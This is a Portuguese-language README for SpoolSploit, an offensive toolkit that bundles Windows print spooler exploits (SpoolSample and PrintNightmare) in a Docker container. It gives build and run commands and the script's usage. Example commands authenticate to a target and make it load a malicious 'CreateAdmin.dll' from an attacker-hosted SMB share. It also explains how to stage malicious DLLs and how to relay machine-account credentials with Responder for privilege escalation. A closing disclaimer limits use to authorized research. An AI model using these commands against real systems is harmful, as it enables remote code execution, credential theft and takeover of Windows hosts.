
Uma coleção de exploits do spooler de impressão do Windows containerizados com outros utilitários para exploração prática.
Uma coleção de exploits do spooler de impressão do Windows, containerizados com outras utilidades para exploração prática.
SpoolSploit é uma coleção de exploits do spooler de impressão do Windows, containerizados com outras utilidades para exploração prática. Alguns métodos altamente eficazes incluem o relay de credenciais de conta de máquina para escalar privilégios e executar DLLs maliciosas em endpoints com acesso completo ao sistema.

A partir da data de lançamento, o contêiner Docker do SpoolSploit foi testado com sucesso nas versões mais recentes de MacOS, Ubuntu Linux e Windows 10.
Embora não seja obrigatório, se você deseja hospedar DLLs maliciosas ou realizar ataques de relay de credenciais, tudo dentro do contêiner SpoolSploit, deve garantir que a porta 445 não esteja em uso no host que executa o Docker. Isso é mais comum ao executar este contêiner em um host Windows, pois ele usa a porta 445 por padrão. Se desabilitar a porta 445 no seu host não for prático, tudo bem! Você pode simplesmente executar o contêiner Docker em uma máquina virtual que tenha o adaptador de rede configurado em modo bridge. Isso permitirá servir DLLs maliciosas e fazer relay de credenciais. Se você só deseja servir DLLs maliciosas, pode simplesmente hospedar as DLLs em um compartilhamento de acesso anônimo no sistema operacional host ou em um compartilhamento de servidor comprometido.
git clone https://github.com/BeetleChunks/SpoolSploit
cd SpoolSploit
sudo docker build -t spoolsploit .
sudo docker run -dit -p 445:445 --name spoolsploit spoolsploit:latest
sudo docker exec -it spoolsploit /bin/bash
usage: spool_sploit.py [-h] -a {spoolsample,nightmare} -rH RHOST -rP {139,445} [-lH LHOST] [-lS LSHARE] -d DOMAIN -u USER -p PASSWD
optional arguments:
-h, --help show this help message and exit
-a {spoolsample,nightmare}, --attack {spoolsample,nightmare}
Attack type to execute on target(s).
-rH RHOST, --rhost RHOST
Remote target IP, CIDR range, or filename (file:<path>)
-rP {139,445}, --rport {139,445}
Remote SMB server port.
-lH LHOST, --lhost LHOST
Listening hostname or IP
-lS LSHARE, --lshare LSHARE
Staging SMB share (UNC)
-d DOMAIN, --domain DOMAIN
Domain for authentication
-u USER, --username USER
Username for authentication
-p PASSWD, --password PASSWD
Password for authentication
Example - spoolsample:
python3 spool_sploit.py -a spoolsample -lH 10.14.1.24 -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10
Example - nightmare:
python3 spool_sploit.py -a nightmare -lS '\\10.14.1.24\C$\CreateAdmin.dll' -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10
O contêiner Docker do SpoolSploit inclui o Responder para fazer relay de hashes de conta de máquina obtidos ao executar o ataque spoolsample no SpoolSploit. Como existem vários artigos excelentes detalhando o processo de relay de credenciais de conta de máquina privilegiadas para escalonamento de privilégios, não entrarei nesses detalhes aqui.
Incluído no contêiner SpoolSploit está um servidor SMB implementado via Impacket. Este servidor pode ser usado para hospedar DLLs maliciosas ao executar o ataque printnightmare no SpoolSploit. As configurações padrão do servidor SMB funcionam, mas se você quiser personalizá-las, pode modificar o arquivo de configuração localizado em /home/dlogmas/smbserver/smb-v1.conf.
A única coisa que você precisa fazer é copiar sua DLL para a pasta de compartilhamento do servidor SMB no contêiner SpoolSploit. O caminho do compartilhamento no contêiner é /home/dlogmas/smbserver/share/. Os comandos a seguir demonstram como enviar uma DLL para o contêiner SpoolSploit e torná-la acessível ao servidor SMB.
sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/
sudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll'
Este código de prova de conceito foi criado para pesquisa acadêmica e não se destina a ser usado contra sistemas, exceto quando explicitamente autorizado. O código é fornecido como está, sem garantias ou promessas quanto à sua execução. Não sou responsável ou passível de responsabilidade pelo uso indevido deste código.